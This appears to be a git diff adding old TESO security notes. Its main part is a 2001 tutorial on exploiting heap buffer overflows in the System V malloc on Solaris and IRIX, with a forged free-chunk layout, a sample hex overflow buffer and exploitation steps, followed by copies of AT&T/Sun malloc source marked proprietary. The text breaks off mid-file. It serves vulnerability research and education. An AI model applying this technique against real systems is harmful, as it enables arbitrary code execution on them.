char *p = nameline + strlen(nameline); + ... + snprintf(p, sizeof(nameline) - strlen(nameline) - 4, " -> %s", l); + +Where nameline is a local stack buffer: + + char nameline[MAXPATHLEN + MAXPATHLEN + 128] = {'\0'}; + +The problem manifests itself if strlen (nameline) > (sizeof (nameline) - 3), +since then the length parameter to snprintf turns negative, behaving like a +normal sprintf function. The nameline buffer is printed to before, with +filemodes and name information, but it seems not possible to reach a length +of more then 124 bytes. However, this bug shows that nasty sign conversion +bugs are still within popular code in use today. + +=============================================================================== + diff --git a/informationals/teso-i0037.txt b/informationals/teso-i0037.txt new file mode 100644 index 0000000..c550002 --- /dev/null +++ b/informationals/teso-i0037.txt @@ -0,0 +1,382 @@ +0037 2001/05/06 System V malloc implementation details for exploitation +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: System V malloc implementation details for exploitation +Date .................: 2001/05/06 18:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: System V based malloc implementations (Solaris, IRIX) +Type of entity .......: implementation details +Type of discovery ....: useful information +Severity/Importance ..: medium +Found by .............: scut + +=============================================================================== + +On the Unix system, and later in the C standard library there are functions to +handle variable amounts of memory in a dynamic way. This allows programs to +dynamically request memory blocks from the system. The operating system only +provides a very rough system call 'sbrk' to change the size of a big memory +chunk, which is known as the heap. + +On top if this system call the malloc interface is build, which builds a layer +between the application and the system call. It can dynamically split the large +single block into smaller chunks, free those chunks later on the applications +request and avoid fragmentation while doing so. You can compare the malloc +interface as being similar to a file system on a single large, but dynamically +sized raw device. + +There are a few design goals which have to be met by the malloc interface: + + - stability + - performance + - avoid fragmentation of heap space + - low overhead + +There are only a few common malloc implementations. The most common one is the +System V one, implemented by AT&T. Another common one is the GNU C Library +implementation. On the Microsoft Windows operating system, a similar interface +is used (RtlHeap*). + + +Here is a table of algorithms and which operating systems use them: + +Algorithm | Operating System +------------------------+------------------------------------------------------- +BSD kingsley | 4.4BSD, AIX (compatibility), Ultrix +BSD phk | BSDI, FreeBSD, OpenBSD +GNU Lib C (Doug Lea) | Hurd, Linux +System V AT&T | Solaris, IRIX +Yorktown | AIX (default) +Rtl* | Microsoft Windows * +------------------------+------------------------------------------------------- + +If you have information to any of the missing operating systems (HP-UX, NetBSD, +BSDI) please tell me (at best with a copy of malloc.c and related files, if +possible). + +Its interesting to note that most of the malloc implementations are very easy +to port and are architecture independent. Most of them only interface with the +'sbrk' system call, but allow a change of behaviour through a #define. All of +the implementations I have come across are written in ANSI C and do only very +minimal to no sanity checking. Most of them have a special compilation define +that includes asserts and extra checks. Those are turned off by default in the +final build, for performance reasons. Some of the implementations also offer +extra reliability checks that will detect buffer overflows. Those are made to +detect overflows while developing, not to stop exploitation in release +versions. + + +Storing management info in-band + +Most malloc implementations share the behaviour of storing their own management +information, such as lists of used or free blocks, sizes of memory blocks and +other useful data within the heap space itself. Since the whole idea of +malloc/free is based on the dynamic requirements the application has, the +management info itself occupies a variable amount of data too. Because of this +the implementation can seldomly just reserve a certain amount of memory for its +own purposes, but stores the management information "in-band", right after and +before the blocks of memory that are used by the application. + +The central attack of exploiting malloc allocated buffer overflows is to modify +this management information in a way that will later allow arbitrary memory +overwrites. This way pointers can be overwritten within the writeable process +memory, hence allowing modification of return addresses, linkage tables or +application level data. + +To mount such an attack, we have to take a deep look within the internal +workings of the implementation we want to exploit. This article discusses the +commonly used System V implementation used in Solaris and IRIX (possibly +others). + +This implementation is based on self-adjusting binary trees. The theoretical +background of this implementation has been described 1985 by DD Sleator and RE +Tarjan in "Self-Adjusting Binary Trees". If anyone gets a copy of those +article, please forward it to me. + +The basic idea of this implementation is to keep lists of equal sized malloc +chunks within a binary tree. So if you allocate two chunks of the same size, +they will be within the same node, within the same list of this node. Also, the +tree is ordered by the size of its elements. + + +The TREE structure + +Within the mallint.h file the definition of the TREE structure can be found, +along with easy-to-use macros to access elements of it. + +To allow each tree element to be used for different purposes, to save overhead, +and to force an alignment, each TREE structure element is defined as union: + + +/* the proto-word; size must be ALIGN bytes */ +typedef union _w_ { + size_t w_i; /* an unsigned int */ + struct _t_ *w_p; /* a pointer */ + char w_a[ALIGN]; /* to force size */ +} WORD; + + +Central TREE structure definition: + +/* structure of a node in the free tree */ +typedef struct _t_ { + WORD t_s; /* size of this element */ + WORD t_p; /* parent node */ + WORD t_l; /* left child */ + WORD t_r; /* right child */ + WORD t_n; /* next in link list */ + WORD t_d; /* dummy to reserve space for self-pointer */ +} TREE; + + +The 't_s' element of the chunk header contains the rounded up value of the size +the user requested when he called malloc. Since the size is always rounded up +to a word boundary, at least the lower two bits of the 't_s' elements are +unused - they would be zero all the time. +Instead of being zero, they are ignored for all size-related operations and +take a special meaning as flag elements (from the malloc.c source): + + BIT0: 1 for busy (block is in use), 0 for free. + + BIT1: if the block is busy, this bit is 1 if the preceding block in + contiguous memory is free. Otherwise, it is always 0. + + +TREE Access macros: + +/* usable # of bytes in the block */ +#define SIZE(b) (((b)->t_s).w_i) + +/* free tree pointers */ +#define PARENT(b) (((b)->t_p).w_p) +#define LEFT(b) (((b)->t_l).w_p) +#define RIGHT(b) (((b)->t_r).w_p) + +/* forward link in lists of small blocks */ +#define AFTER(b) (((b)->t_p).w_p) + +/* forward and backward links for lists in the tree */ +#define LINKFOR(b) (((b)->t_n).w_p) +#define LINKBAK(b) (((b)->t_p).w_p) + + +For all allocation operations a certain alignment and minimum size is enforced, +which is defined here: + +#define WORDSIZE (sizeof (WORD)) +#define MINSIZE (sizeof (TREE) - sizeof (WORD)) +#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE)) + + +The tree structure is the central element of each allocated chunk. Normally +only the 't_s' and 't_p' elements are used, and user data is stored from 't_l' +on. Once the node is freed, this changes and the data is reused to manage the +free elements efficiently. The chunk represents an element within the splay +tree. As more chunks get freed the malloc implementation tries to merge the +directly bordering free chunks. At most FREESIZE (32 by default) chunks can be +in this dangling free state at the same time. They are all stored within the +'flist' array. If a call to free is made while the list is already full the old +element at this place falls out and is forwarded to realfree. The place is then +occupied by the newly freed element. + +This is done to speed up and avoid defragmentation in cases where a lot of +calls to free are made in a row. The real merging process is done by realfree. +It inserts the chunk into the central tree, which starts at the 'Root' pointer. +The tree is ordered by the size of their elements and balances itself. It is a +so called "splay tree", in which the elements cycle in a special way to speed +up searches (see google.com "splay tree" for further information). This is not +so much important here, but keep in mind that there are two stages of free +chunks, one being within the flist array, and one within the free-elements tree +starting at 'Root'. + +There are some special management routines for allocating small chunks of +memory, which happen to have a size below 40 bytes. Those are not considered +here, but the basic idea is to have extra lists of them, not keeping them +within a tree but in lists, one for each WORD matching size below 40. + +There is more than one way to exploit a malloc based buffer overflow, however +here is one method which works against IRIX and Solaris. + +As a chunk is realfree'd, it is checked whether the directly bordering chunks +behind and in front of it are already within the real free'd tree. If it is the +case, the only thing that has to be done is to logically merge the two chunks +and reorder its position within the tree, since the size changed. + +This merging process involves pointer modification within the tree, which +consists out of nodes. This nodes are represented by the chunk header itself, +the pointers to other tree elements are stored there. If we can overwrite them, +we can possibly modify the operation when merging the chunks. + +Here is how its done (source shortened/cutted to only display the interesting +path), in malloc.c: + +static void +realfree(void *old) +{ + TREE *tp, *sp, *np; + size_t ts, size; + + /* pointer to the block */ + tp = BLOCK(old); + ts = SIZE(tp); + if (!ISBIT0(ts)) + return; + CLRBITS01(SIZE(tp)); + + /* see if coalescing with next block is warranted */ + np = NEXT(tp); + if (!ISBIT0(SIZE(np))) { + if (np != Bottom) + t_delete(np); + SIZE(tp) += SIZE(np) + WORDSIZE; + } + +We remember NEXT points to the chunk directly following the current one. So we +have this memory layout: + + tp old np + | | | + [chunk A header] [chunk A data] | [chunk B or free ....] + | + chunk boundary + +In the usual situtation the application has allocated some space and got a +pointer (old) from malloc. It then messes up and allows a buffer overflow of +the chunk data. We cross the chunk boundary by overflowing and hit the data +behind, which is either free space or another used chunk. + + np = NEXT(tp); + +Since we can only overflow data behind 'old', we cannot modify the header of +our own chunk. Therefore we cannot influence the 'np' pointer in any way. It +always points to the chunk boundary. + +Now a check is made to test if it is possible to merge forward, that is our +chunk and the chunk behind it. Remember that we can control the chunk behind +ourself. + + if (!ISBIT0(SIZE(np))) { + if (np != Bottom) + t_delete(np); + SIZE(tp) += SIZE(np) + WORDSIZE; + } + +BIT0 is zero if the chunk is free and within the free elements tree. So if it +is free and not the last chunk, the special 'Bottom' chunk, it is deleted from +the tree. Then the sizes of both chunks are added and later in the code of the +realfree function the whole resized chunk is reinserted into the tree. + +One important part is that the overflowed chunk must not be the last chunk +within the malloc space, condition: + + 1. Overflowed chunk must not be the last chunk + +Here is how the 't_delete' function works: + +static void +t_delete(TREE *op) +{ + TREE *tp, *sp, *gp; + + /* if this is a non-tree node */ + if (ISNOTREE(op)) { + tp = LINKBAK(op); + if ((sp = LINKFOR(op)) != NULL) + LINKBAK(sp) = tp; + LINKFOR(tp) = sp; + return; + } + +There are other cases, but this one is the easiest to exploit, and as I am +already tired about this, I will just explain this one here, the others are +very similar (look at malloc.c). + +ISNOTREE compares the 't_l' element of the TREE structure with -1. -1 is the +special marker for non-tree nodes which are used as doubly linked list, but +that does not matter. + +Anyway, that is the first condition we have to obey: + + 2. fake->t_l = -1; + +Now the unlinking between FOR (t_n) and BAK (t_p) is done, which can be +rewritten as: + + t1 = fake->t_p + t2 = fake->t_n + t2->t_p = t1 + t1->t_n = t2 + +Which is (written in pseudo-raw-assignments which happen at the same time): + + [t_n + (1 * sizeof (WORD))] = t_p + [t_p + (4 * sizeof (WORD))] = t_n + +This way we can write to arbitrary addresses, but only with other valid +addresses at the same time. We choose to use this: + + t_p = retloc - 4 * sizeof (WORD) + t_n = retaddr + +This way retloc will be overwritten with retaddr and *(retaddr + 8) will be +overwritten with retloc. If there is code at retaddr, there should be a small +jump over the bytes 8-11 to not execute this address as code. + +Finally our overwrite buffer looks like this: + + | + | + chunk boundary + +Where: t_s = some small size with lower two bits zeroed out + t_p = retloc - 4 * sizeof (WORD) + t_l = -1 + t_r = junk + t_n = retaddr + t_d = junk + +Note that although all the data is stored as 32 bit pointers each structure +element occupies eight bytes, because of the WORD union, which forces at least +ALIGN bytes for each element. ALIGN is defined to eight by default. + +So a real overflow buffer behind the chunk boundary might look like: + +ff ff ff f0 41 41 41 41 ef ff fc e0 41 41 41 41 | ....AAAA....AAAA +ff ff ff ff 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA +ef ff fc a8 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA + +All 'A' characters can be set arbitrarily. The 't_s' element has been replaced +with a small negative number to avoid NUL bytes. If you use NUL bytes the +number has to be small also, else the realfree function crashes later. + +The buffer above will overwrite: + + [0xeffffce0 + 32] = 0xeffffca8 + [0xeffffca8 + 8] = 0xeffffce0 + +See the example code (mxp.c) for a more in-depth explanation. + +To summarize down the guts if you happen to exploit a malloc based buffer +overflow on IRIX or Solaris: + + 1. Create a fake chunk behind the one you overflow + 2. The fake chunk is merged with the one you overflow as it is passed to + realfree + 3. To make it pass to realfree it has to call malloc() again or there + have to be a lot of successive free() calls + 4. The overflowed chunk must not be the last chunk (the one before + Bottom) + 5. Prepend the shellcode/nop-space with jump-aheads to not execute the + unavoidable unlink-overwrite address as code + 6. Using the t_splay routines attacks like this are possible too, so if + you can not use the attack described here (say you cannot write 0xff + bytes), use the source luke. + +Enjoy. :) + +=============================================================================== + + diff --git a/informationals/teso-i0037/mallint.h b/informationals/teso-i0037/mallint.h new file mode 100644 index 0000000..2e501f0 --- /dev/null +++ b/informationals/teso-i0037/mallint.h @@ -0,0 +1,154 @@ +/* Copyright (c) 1988 AT&T */ +/* All Rights Reserved */ + +/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ +/* The copyright notice above does not evidence any */ +/* actual or intended publication of such source code. */ + +/* + * Copyright (c) 1996-1997 by Sun Microsystems, Inc. + * All rights reserved. + */ + +#pragma ident "@(#)mallint.h 1.11 97/12/02 SMI" /* SVr4.0 1.2 */ + +#include +#include +#include +#include +#include +#if 0 +#include +#endif + +/* debugging macros */ +#ifdef DEBUG +#define ASSERT(p) ((void) ((p) || (abort(), 0))) +#define COUNT(n) ((void) n++) +static int nmalloc, nrealloc, nfree; +#else +#define ASSERT(p) ((void)0) +#define COUNT(n) ((void)0) +#endif /* DEBUG */ + +/* function to copy data from one area to another */ +#define MEMCOPY(to, fr, n) ((void) memcpy(to, fr, n)) + +/* for conveniences */ +#ifndef NULL +#define NULL (0) +#endif + +#define reg register +#define WORDSIZE (sizeof (WORD)) +#define MINSIZE (sizeof (TREE) - sizeof (WORD)) +#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE)) + +#ifdef DEBUG32 +/* + * The following definitions ease debugging + * on a machine in which sizeof(pointer) == sizeof(int) == 4. + * These definitions are not portable. + * + * Alignment (ALIGN) changed to 8 for SPARC ldd/std. +*/ +#define ALIGN 8 +typedef int WORD; +typedef struct _t_ { + size_t t_s; + struct _t_ *t_p; + struct _t_ *t_l; + struct _t_ *t_r; + struct _t_ *t_n; + struct _t_ *t_d; +} TREE; +#define SIZE(b) ((b)->t_s) +#define AFTER(b) ((b)->t_p) +#define PARENT(b) ((b)->t_p) +#define LEFT(b) ((b)->t_l) +#define RIGHT(b) ((b)->t_r) +#define LINKFOR(b) ((b)->t_n) +#define LINKBAK(b) ((b)->t_p) + +#else /* !DEBUG32 */ +/* + * All of our allocations will be aligned on the least multiple of 4, + * at least, so the two low order bits are guaranteed to be available. + */ +#ifdef _LP64 +#define ALIGN 16 +#else +#define ALIGN 8 +#endif + +/* the proto-word; size must be ALIGN bytes */ +typedef union _w_ { + size_t w_i; /* an unsigned int */ + struct _t_ *w_p; /* a pointer */ + char w_a[ALIGN]; /* to force size */ +} WORD; + +/* structure of a node in the free tree */ +typedef struct _t_ { + WORD t_s; /* size of this element */ + WORD t_p; /* parent node */ + WORD t_l; /* left child */ + WORD t_r; /* right child */ + WORD t_n; /* next in link list */ + WORD t_d; /* dummy to reserve space for self-pointer */ +} TREE; + +/* usable # of bytes in the block */ +#define SIZE(b) (((b)->t_s).w_i) + +/* free tree pointers */ +#define PARENT(b) (((b)->t_p).w_p) +#define LEFT(b) (((b)->t_l).w_p) +#define RIGHT(b) (((b)->t_r).w_p) + +/* forward link in lists of small blocks */ +#define AFTER(b) (((b)->t_p).w_p) + +/* forward and backward links for lists in the tree */ +#define LINKFOR(b) (((b)->t_n).w_p) +#define LINKBAK(b) (((b)->t_p).w_p) + +#endif /* DEBUG32 */ + +/* set/test indicator if a block is in the tree or in a list */ +#define SETNOTREE(b) (LEFT(b) = (TREE *)(-1)) +#define ISNOTREE(b) (LEFT(b) == (TREE *)(-1)) + +/* functions to get information on a block */ +#define DATA(b) (((char *)(b)) + WORDSIZE) +#define BLOCK(d) ((TREE *)(((char *)(d)) - WORDSIZE)) +#define SELFP(b) ((TREE **)(((char *)(b)) + SIZE(b))) +#define LAST(b) (*((TREE **)(((char *)(b)) - WORDSIZE))) +#define NEXT(b) ((TREE *)(((char *)(b)) + SIZE(b) + WORDSIZE)) +#define BOTTOM(b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr) + +/* functions to set and test the lowest two bits of a word */ +#define BIT0 (01) /* ...001 */ +#define BIT1 (02) /* ...010 */ +#define BITS01 (03) /* ...011 */ +#define ISBIT0(w) ((w) & BIT0) /* Is busy? */ +#define ISBIT1(w) ((w) & BIT1) /* Is the preceding free? */ +#define SETBIT0(w) ((w) |= BIT0) /* Block is busy */ +#define SETBIT1(w) ((w) |= BIT1) /* The preceding is free */ +#define CLRBIT0(w) ((w) &= ~BIT0) /* Clean bit0 */ +#define CLRBIT1(w) ((w) &= ~BIT1) /* Clean bit1 */ +#define SETBITS01(w) ((w) |= BITS01) /* Set bits 0 & 1 */ +#define CLRBITS01(w) ((w) &= ~BITS01) /* Clean bits 0 & 1 */ +#define SETOLD01(n, o) ((n) |= (BITS01 & (o))) + +/* system call to get more core */ +#define GETCORE sbrk +#define ERRCORE ((void *)(-1)) +#define CORESIZE (1024*ALIGN) + +extern void *GETCORE(size_t); +extern void _free_unlocked(void *); + +#ifdef _REENTRANT +extern mutex_t __malloc_lock; +#endif /* _REENTRANT */ diff --git a/informationals/teso-i0037/malloc.c b/informationals/teso-i0037/malloc.c new file mode 100644 index 0000000..7460020 --- /dev/null +++ b/informationals/teso-i0037/malloc.c @@ -0,0 +1,838 @@ +/* Copyright (c) 1988 AT&T */ +/* All Rights Reserved */ + +/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ +/* The copyright notice above does not evidence any */ +/* actual or intended publication of such source code. */ + +/* + * Copyright (c) 1996, by Sun Microsystems, Inc. + * All rights reserved. + */ + +#pragma ident "@(#)malloc.c 1.18 98/07/21 SMI" /* SVr4.0 1.30 */ + +/*LINTLIBRARY*/ + +/* + * Memory management: malloc(), realloc(), free(). + * + * The following #-parameters may be redefined: + * SEGMENTED: if defined, memory requests are assumed to be + * non-contiguous across calls of GETCORE's. + * GETCORE: a function to get more core memory. If not SEGMENTED, + * GETCORE(0) is assumed to return the next available + * address. Default is 'sbrk'. + * ERRCORE: the error code as returned by GETCORE. + * Default is (char *)(-1). + * CORESIZE: a desired unit (measured in bytes) to be used + * with GETCORE. Default is (1024*ALIGN). + * + * This algorithm is based on a best fit strategy with lists of + * free elts maintained in a self-adjusting binary tree. Each list + * contains all elts of the same size. The tree is ordered by size. + * For results on self-adjusting trees, see the paper: + * Self-Adjusting Binary Trees, + * DD Sleator & RE Tarjan, JACM 1985. + * + * The header of a block contains the size of the data part in bytes. + * Since the size of a block is 0%4, the low two bits of the header + * are free and used as follows: + * + * BIT0: 1 for busy (block is in use), 0 for free. + * BIT1: if the block is busy, this bit is 1 if the + * preceding block in contiguous memory is free. + * Otherwise, it is always 0. + */ + +#include "synonyms.h" +#include +#include +#include +#include +#include +#include "mallint.h" + +static TREE *Root, /* root of the free tree */ + *Bottom, /* the last free chunk in the arena */ + *_morecore(size_t); /* function to get more core */ + +static char *Baddr; /* current high address of the arena */ +static char *Lfree; /* last freed block with data intact */ + +static void t_delete(TREE *); +static void t_splay(TREE *); +static void realfree(void *); +static void cleanfree(void *); +static void *_malloc_unlocked(size_t); + +#define FREESIZE (1<<5) /* size for preserving free blocks until next malloc */ +#define FREEMASK FREESIZE-1 + +static void *flist[FREESIZE]; /* list of blocks to be freed on next malloc */ +static int freeidx; /* index of free blocks in flist % FREESIZE */ + +/* + * Allocation of small blocks + */ +static TREE *List[MINSIZE/WORDSIZE-1]; /* lists of small blocks */ + +static void * +_smalloc(size_t size) +{ + TREE *tp; + size_t i; + + ASSERT(size % WORDSIZE == 0); + /* want to return a unique pointer on malloc(0) */ + if (size == 0) + size = WORDSIZE; + + /* list to use */ + i = size / WORDSIZE - 1; + + if (List[i] == NULL) { + TREE *np; + int n; + /* number of blocks to get at one time */ +#define NPS (WORDSIZE*8) + ASSERT((size + WORDSIZE) * NPS >= MINSIZE); + + /* get NPS of these block types */ + if ((List[i] = _malloc_unlocked((size + WORDSIZE) * NPS)) == 0) + return (0); + + /* make them into a link list */ + for (n = 0, np = List[i]; n < NPS; ++n) { + tp = np; + SIZE(tp) = size; + np = NEXT(tp); + AFTER(tp) = np; + } + AFTER(tp) = NULL; + } + + /* allocate from the head of the queue */ + tp = List[i]; + List[i] = AFTER(tp); + SETBIT0(SIZE(tp)); + return (DATA(tp)); +} + +void * +malloc(size_t size) +{ + void *ret; + (void) _mutex_lock(&__malloc_lock); + ret = _malloc_unlocked(size); + (void) _mutex_unlock(&__malloc_lock); + return (ret); +} + +static void * +_malloc_unlocked(size_t size) +{ + size_t n; + TREE *tp, *sp; + size_t o_bit1; + + COUNT(nmalloc); + ASSERT(WORDSIZE == ALIGN); + + /* make sure that size is 0 mod ALIGN */ + ROUND(size); + + /* see if the last free block can be used */ + if (Lfree) { + sp = BLOCK(Lfree); + n = SIZE(sp); + CLRBITS01(n); + if (n == size) { + /* + * exact match, use it as is + */ + freeidx = (freeidx + FREESIZE - 1) & + FREEMASK; /* 1 back */ + flist[freeidx] = Lfree = NULL; + return (DATA(sp)); + } else if (size >= MINSIZE && n > size) { + /* + * got a big enough piece + */ + freeidx = (freeidx + FREESIZE - 1) & + FREEMASK; /* 1 back */ + flist[freeidx] = Lfree = NULL; + o_bit1 = SIZE(sp) & BIT1; + SIZE(sp) = n; + goto leftover; + } + } + o_bit1 = 0; + + /* perform free's of space since last malloc */ + cleanfree(NULL); + + /* small blocks */ + if (size < MINSIZE) + return (_smalloc(size)); + + /* search for an elt of the right size */ + sp = NULL; + n = 0; + if (Root) { + tp = Root; + while (1) { + /* branch left */ + if (SIZE(tp) >= size) { + if (n == 0 || n >= SIZE(tp)) { + sp = tp; + n = SIZE(tp); + } + if (LEFT(tp)) + tp = LEFT(tp); + else + break; + } else { /* branch right */ + if (RIGHT(tp)) + tp = RIGHT(tp); + else + break; + } + } + + if (sp) { + t_delete(sp); + } else if (tp != Root) { + /* make the searched-to element the root */ + t_splay(tp); + Root = tp; + } + } + + /* if found none fitted in the tree */ + if (!sp) { + if (Bottom && size <= SIZE(Bottom)) { + sp = Bottom; + CLRBITS01(SIZE(sp)); + } else if ((sp = _morecore(size)) == NULL) /* no more memory */ + return (NULL); + } + + /* tell the forward neighbor that we're busy */ + CLRBIT1(SIZE(NEXT(sp))); + + ASSERT(ISBIT0(SIZE(NEXT(sp)))); + +leftover: + /* if the leftover is enough for a new free piece */ + if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) { + n -= WORDSIZE; + SIZE(sp) = size; + tp = NEXT(sp); + SIZE(tp) = n|BIT0; + realfree(DATA(tp)); + } else if (BOTTOM(sp)) + Bottom = NULL; + + /* return the allocated space */ + SIZE(sp) |= BIT0 | o_bit1; + return (DATA(sp)); +} + + +/* + * realloc(). + * + * If the block size is increasing, we try forward merging first. + * This is not best-fit but it avoids some data recopying. + */ +void * +realloc(void *old, size_t size) +{ + TREE *tp, *np; + size_t ts; + char *new; + + COUNT(nrealloc); + + /* pointer to the block */ + (void) _mutex_lock(&__malloc_lock); + if (old == NULL) { + new = _malloc_unlocked(size); + (void) _mutex_unlock(&__malloc_lock); + return (new); + } + + /* perform free's of space since last malloc */ + cleanfree(old); + + /* make sure that size is 0 mod ALIGN */ + ROUND(size); + + tp = BLOCK(old); + ts = SIZE(tp); + + /* if the block was freed, data has been destroyed. */ + if (!ISBIT0(ts)) { + (void) _mutex_unlock(&__malloc_lock); + return (NULL); + } + + /* nothing to do */ + CLRBITS01(SIZE(tp)); + if (size == SIZE(tp)) { + SIZE(tp) = ts; + (void) _mutex_unlock(&__malloc_lock); + return (old); + } + + /* special cases involving small blocks */ + if (size < MINSIZE || SIZE(tp) < MINSIZE) + goto call_malloc; + + /* block is increasing in size, try merging the next block */ + if (size > SIZE(tp)) { + np = NEXT(tp); + if (!ISBIT0(SIZE(np))) { + ASSERT(SIZE(np) >= MINSIZE); + ASSERT(!ISBIT1(SIZE(np))); + SIZE(tp) += SIZE(np) + WORDSIZE; + if (np != Bottom) + t_delete(np); + else + Bottom = NULL; + CLRBIT1(SIZE(NEXT(np))); + } + +#ifndef SEGMENTED + /* not enough & at TRUE end of memory, try extending core */ + if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr) { + Bottom = tp; + if ((tp = _morecore(size)) == NULL) { + tp = Bottom; + Bottom = NULL; + } + } +#endif + } + + /* got enough space to use */ + if (size <= SIZE(tp)) { + size_t n; + +chop_big: + if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) { + n -= WORDSIZE; + SIZE(tp) = size; + np = NEXT(tp); + SIZE(np) = n|BIT0; + realfree(DATA(np)); + } else if (BOTTOM(tp)) + Bottom = NULL; + + /* the previous block may be free */ + SETOLD01(SIZE(tp), ts); + (void) _mutex_unlock(&__malloc_lock); + return (old); + } + + /* call malloc to get a new block */ +call_malloc: + SETOLD01(SIZE(tp), ts); + if ((new = _malloc_unlocked(size)) != NULL) { + CLRBITS01(ts); + if (ts > size) + ts = size; + MEMCOPY(new, old, ts); + _free_unlocked(old); + (void) _mutex_unlock(&__malloc_lock); + return (new); + } + + /* + * Attempt special case recovery allocations since malloc() failed: + * + * 1. size <= SIZE(tp) < MINSIZE + * Simply return the existing block + * 2. SIZE(tp) < size < MINSIZE + * malloc() may have failed to allocate the chunk of + * small blocks. Try asking for MINSIZE bytes. + * 3. size < MINSIZE <= SIZE(tp) + * malloc() may have failed as with 2. Change to + * MINSIZE allocation which is taken from the beginning + * of the current block. + * 4. MINSIZE <= SIZE(tp) < size + * If the previous block is free and the combination of + * these two blocks has at least size bytes, then merge + * the two blocks copying the existing contents backwards. + */ + CLRBITS01(SIZE(tp)); + if (SIZE(tp) < MINSIZE) { + if (size < SIZE(tp)) { /* case 1. */ + SETOLD01(SIZE(tp), ts); + (void) _mutex_unlock(&__malloc_lock); + return (old); + } else if (size < MINSIZE) { /* case 2. */ + size = MINSIZE; + goto call_malloc; + } + } else if (size < MINSIZE) { /* case 3. */ + size = MINSIZE; + goto chop_big; + } else if (ISBIT1(ts) && + (SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) { + ASSERT(!ISBIT0(SIZE(np))); + t_delete(np); + SIZE(np) += SIZE(tp) + WORDSIZE; + /* + * Since the copy may overlap, use memmove() if available. + * Otherwise, copy by hand. + */ + (void) memmove(DATA(np), old, SIZE(tp)); + old = DATA(np); + tp = np; + CLRBIT1(ts); + goto chop_big; + } + SETOLD01(SIZE(tp), ts); + (void) _mutex_unlock(&__malloc_lock); + return (NULL); +} + + +/* + * realfree(). + * + * Coalescing of adjacent free blocks is done first. + * Then, the new free block is leaf-inserted into the free tree + * without splaying. This strategy does not guarantee the amortized + * O(nlogn) behaviour for the insert/delete/find set of operations + * on the tree. In practice, however, free is much more infrequent + * than malloc/realloc and the tree searches performed by these + * functions adequately keep the tree in balance. + */ +static void +realfree(void *old) +{ + TREE *tp, *sp, *np; + size_t ts, size; + + COUNT(nfree); + + /* pointer to the block */ + tp = BLOCK(old); + ts = SIZE(tp); + if (!ISBIT0(ts)) + return; + CLRBITS01(SIZE(tp)); + + /* small block, put it in the right linked list */ + if (SIZE(tp) < MINSIZE) { + ASSERT(SIZE(tp) / WORDSIZE >= 1); + ts = SIZE(tp) / WORDSIZE - 1; + AFTER(tp) = List[ts]; + List[ts] = tp; + return; + } + + /* see if coalescing with next block is warranted */ + np = NEXT(tp); + if (!ISBIT0(SIZE(np))) { + if (np != Bottom) + t_delete(np); + SIZE(tp) += SIZE(np) + WORDSIZE; + } + + /* the same with the preceding block */ + if (ISBIT1(ts)) { + np = LAST(tp); + ASSERT(!ISBIT0(SIZE(np))); + ASSERT(np != Bottom); + t_delete(np); + SIZE(np) += SIZE(tp) + WORDSIZE; + tp = np; + } + + /* initialize tree info */ + PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL; + + /* the last word of the block contains self's address */ + *(SELFP(tp)) = tp; + + /* set bottom block, or insert in the free tree */ + if (BOTTOM(tp)) + Bottom = tp; + else { + /* search for the place to insert */ + if (Root) { + size = SIZE(tp); + np = Root; + while (1) { + if (SIZE(np) > size) { + if (LEFT(np)) + np = LEFT(np); + else { + LEFT(np) = tp; + PARENT(tp) = np; + break; + } + } else if (SIZE(np) < size) { + if (RIGHT(np)) + np = RIGHT(np); + else { + RIGHT(np) = tp; + PARENT(tp) = np; + break; + } + } else { + if ((sp = PARENT(np)) != NULL) { + if (np == LEFT(sp)) + LEFT(sp) = tp; + else + RIGHT(sp) = tp; + PARENT(tp) = sp; + } else + Root = tp; + + /* insert to head of list */ + if ((sp = LEFT(np)) != NULL) + PARENT(sp) = tp; + LEFT(tp) = sp; + + if ((sp = RIGHT(np)) != NULL) + PARENT(sp) = tp; + RIGHT(tp) = sp; + + /* doubly link list */ + LINKFOR(tp) = np; + LINKBAK(np) = tp; + SETNOTREE(np); + + break; + } + } + } else + Root = tp; + } + + /* tell next block that this one is free */ + SETBIT1(SIZE(NEXT(tp))); + + ASSERT(ISBIT0(SIZE(NEXT(tp)))); +} + +/* + * Get more core. Gaps in memory are noted as busy blocks. + */ +static TREE * +_morecore(size_t size) +{ + TREE *tp; + size_t n, offset; + char *addr; + size_t nsize; + + /* compute new amount of memory to get */ + tp = Bottom; + n = size + 2 * WORDSIZE; + addr = GETCORE(0); + + if (addr == ERRCORE) + return (NULL); + + /* need to pad size out so that addr is aligned */ + if ((((size_t)addr) % ALIGN) != 0) + offset = ALIGN - (size_t)addr % ALIGN; + else + offset = 0; + +#ifndef SEGMENTED + /* if not segmented memory, what we need may be smaller */ + if (addr == Baddr) { + n -= WORDSIZE; + if (tp != NULL) + n -= SIZE(tp); + } +#endif + + /* get a multiple of CORESIZE */ + n = ((n - 1) / CORESIZE + 1) * CORESIZE; + nsize = n + offset; + + if (nsize == ULONG_MAX) + return (NULL); + + if (nsize <= LONG_MAX) { + if (GETCORE(nsize) == ERRCORE) + return (NULL); + } else { + intptr_t delta; + /* + * the value required is too big for GETCORE() to deal with + * in one go, so use GETCORE() at most 2 times instead. + */ + delta = LONG_MAX; + while (delta > 0) { + if (GETCORE(delta) == ERRCORE) { + if (addr != GETCORE(0)) + (void) GETCORE(-LONG_MAX); + return (NULL); + } + nsize -= LONG_MAX; + delta = nsize; + } + } + + /* contiguous memory */ + if (addr == Baddr) { + ASSERT(offset == 0); + if (tp) { + addr = (char *)tp; + n += SIZE(tp) + 2 * WORDSIZE; + } else { + addr = Baddr - WORDSIZE; + n += WORDSIZE; + } + } else + addr += offset; + + /* new bottom address */ + Baddr = addr + 